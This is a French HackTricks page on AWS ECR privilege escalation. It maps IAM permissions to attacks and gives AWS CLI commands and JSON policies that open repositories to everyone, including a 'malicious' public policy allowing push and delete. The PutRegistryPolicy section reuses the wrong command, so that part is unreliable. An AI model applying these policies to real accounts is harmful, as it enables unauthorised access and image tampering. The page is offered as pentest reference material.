AWS - ECR Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un attaquant avec le ecr:GetAuthorizationToken et ecr:BatchGetImage peut se connecter à ECR et télécharger des images.

Pour plus d'infos sur comment télécharger des images :

AWS - ECR Post Exploitation

Impact potentiel : Privesc indirect en interceptant des informations sensibles dans le trafic.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un attaquant avec toutes ces permissions peut se connecter à ECR et télécharger des images. Cela peut être utile pour élever les privilèges vers d'autres environnements où ces images sont utilisées.

Pour apprendre comment télécharger une nouvelle image/mette à jour une, consultez :

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Comme la section précédente, mais pour les dépôts publics.

ecr:SetRepositoryPolicy

Un attaquant avec cette permission pourrait changer la politique du dépôt pour se donner (ou même à tout le monde) un accès en lecture/écriture.
Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenu de my-policy.json :

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Comme la section précédente, mais pour les dépôts publics.
Un attaquant peut modifier la politique du dépôt d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour élever ses privilèges.

bash
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impact potentiel : Accès public non autorisé au dépôt ECR Public, permettant à tout utilisateur de pousser, tirer ou supprimer des images.

ecr:PutRegistryPolicy

Un attaquant avec cette permission pourrait changer la politique de registre pour se donner, à son compte (ou même à tout le monde) un accès en lecture/écriture.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks